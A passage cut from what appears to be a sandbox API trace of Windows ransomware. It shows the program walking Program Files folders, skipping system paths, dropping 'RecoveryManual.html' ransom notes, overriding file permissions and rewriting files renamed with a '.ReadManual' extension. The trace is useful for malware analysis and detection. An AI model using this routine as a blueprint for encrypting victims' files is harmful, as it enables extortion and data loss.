lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0250.249] CloseHandle (hObject=0x190) returned 1 [0250.249] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.249] lstrcpyW (in: lpString1=0x69b8ee, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0250.249] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0250.249] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch=":\\Windows\\") returned 0x0 [0250.249] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.249] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.249] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.249] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch=":\\WINNT") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.250] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.250] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\") returned 47 [0250.250] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfec0 [0250.250] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\" [0250.250] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.251] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0250.251] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="wab32res.dll.mui" | out: lpString1="wab32res.dll.mui") returned="wab32res.dll.mui" [0250.251] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="RecoveryManual.html") returned 1 [0250.251] StrStrIW (lpFirst="wab32res.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.251] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.251] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.251] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.251] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.251] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.251] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\" [0250.251] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\RecoveryManual.html" [0250.251] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\en-US\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\system\\en-us\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0250.251] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0250.252] CloseHandle (hObject=0x194) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0250.252] FindClose (in: hFindFile=0x6bfec0 | out: hFindFile=0x6bfec0) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0250.252] lstrcpyW (in: lpString1=0x69b8ee, lpString2="msadc" | out: lpString1="msadc") returned="msadc" [0250.252] lstrcatW (in: lpString1="msadc", lpString2="\\" | out: lpString1="msadc\\") returned="msadc\\" [0250.252] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch=":\\Windows\\") returned 0x0 [0250.252] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.252] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.252] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch=":\\WINNT") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.253] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.253] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\") returned 47 [0250.253] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfec0 [0250.273] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\" [0250.273] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.274] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0250.274] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="adcjavas.inc" | out: lpString1="adcjavas.inc") returned="adcjavas.inc" [0250.274] lstrcmpiW (lpString1="adcjavas.inc", lpString2="RecoveryManual.html") returned -1 [0250.274] StrStrIW (lpFirst="adcjavas.inc", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.274] StrCmpIW (psz1="inc", psz2="exe") returned 1 [0250.274] StrCmpIW (psz1="inc", psz2="dll") returned 1 [0250.274] StrCmpIW (psz1="inc", psz2="sys") returned -1 [0250.274] StrCmpIW (psz1="inc", psz2="msi") returned -1 [0250.274] StrCmpIW (psz1="inc", psz2="mui") returned -1 [0250.274] StrCmpIW (psz1="inc", psz2="inf") returned -1 [0250.274] StrCmpIW (psz1="inc", psz2="cat") returned 1 [0250.274] StrCmpIW (psz1="inc", psz2="bat") returned 1 [0250.274] StrCmpIW (psz1="inc", psz2="cmd") returned 1 [0250.274] StrCmpIW (psz1="inc", psz2="ps1") returned -1 [0250.274] StrCmpIW (psz1="inc", psz2="vbs") returned -1 [0250.274] StrCmpIW (psz1="inc", psz2="ttf") returned -1 [0250.274] StrCmpIW (psz1="inc", psz2="fon") returned 1 [0250.274] StrCmpIW (psz1="inc", psz2="lnk") returned -1 [0250.274] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" [0250.274] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.ReadManual.5A595725" [0250.274] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.ReadManual.5A595725") returned 79 [0250.274] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37094295025) returned 1 [0250.274] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0250.275] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.275] GetLastError () returned 0x5 [0250.275] GetNamedSecurityInfoW () returned 0x0 [0250.276] SetNamedSecurityInfoW () returned 0x0 [0250.276] SetNamedSecurityInfoW () returned 0x0 [0250.277] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.277] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=630) returned 1 [0250.277] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x276, lpName=0x0) returned 0x184 [0250.277] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xae) returned 1 [0250.277] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.277] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.279] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.279] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x276) returned 0x2f0000 [0250.279] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.279] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37094776030) returned 1 [0250.279] CloseHandle (hObject=0x184) returned 1 [0250.279] SetSecurityInfo () returned 0x5 [0250.279] SetSecurityInfo () returned 0x5 [0250.279] LocalFree (hMem=0x674d38) returned 0x0 [0250.279] CloseHandle (hObject=0x194) returned 1 [0250.279] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\" [0250.279] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\RecoveryManual.html" [0250.279] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\system\\msadc\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0250.280] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0250.280] CloseHandle (hObject=0x194) returned 1 [0250.281] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0250.281] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="adcvbs.inc" | out: lpString1="adcvbs.inc") returned="adcvbs.inc" [0250.281] lstrcmpiW (lpString1="adcvbs.inc", lpString2="RecoveryManual.html") returned -1 [0250.281] StrStrIW (lpFirst="adcvbs.inc", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.281] StrCmpIW (psz1="inc", psz2="exe") returned 1 [0250.281] StrCmpIW (psz1="inc", psz2="dll") returned 1 [0250.281] StrCmpIW (psz1="inc", psz2="sys") returned -1 [0250.281] StrCmpIW (psz1="inc", psz2="msi") returned -1 [0250.281] StrCmpIW (psz1="inc", psz2="mui") returned -1 [0250.281] StrCmpIW (psz1="inc", psz2="inf") returned -1 [0250.281] StrCmpIW (psz1="inc", psz2="cat") returned 1 [0250.281] StrCmpIW (psz1="inc", psz2="bat") returned 1 [0250.281] StrCmpIW (psz1="inc", psz2="cmd") returned 1 [0250.281] StrCmpIW (psz1="inc", psz2="ps1") returned -1 [0250.281] StrCmpIW (psz1="inc", psz2="vbs") returned -1 [0250.281] StrCmpIW (psz1="inc", psz2="ttf") returned -1 [0250.281] StrCmpIW (psz1="inc", psz2="fon") returned 1 [0250.281] StrCmpIW (psz1="inc", psz2="lnk") returned -1 [0250.281] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" [0250.281] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.ReadManual.5A595725" [0250.281] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.ReadManual.5A595725") returned 77 [0250.281] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37095008421) returned 1 [0250.281] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0250.282] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.282] GetLastError () returned 0x5 [0250.282] GetNamedSecurityInfoW () returned 0x0 [0250.282] SetNamedSecurityInfoW () returned 0x0 [0250.282] SetNamedSecurityInfoW () returned 0x0 [0250.283] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.283] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=623) returned 1 [0250.283] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26f, lpName=0x0) returned 0x184 [0250.283] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xaa) returned 1 [0250.283] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.283] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.285] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.285] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26f) returned 0x2f0000 [0250.285] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.285] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37095401675) returned 1 [0250.285] CloseHandle (hObject=0x184) returned 1 [0250.285] SetSecurityInfo () returned 0x5 [0250.285] SetSecurityInfo () returned 0x5 [0250.285] LocalFree (hMem=0x674d38) returned 0x0 [0250.285] CloseHandle (hObject=0x194) returned 1 [0250.286] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, 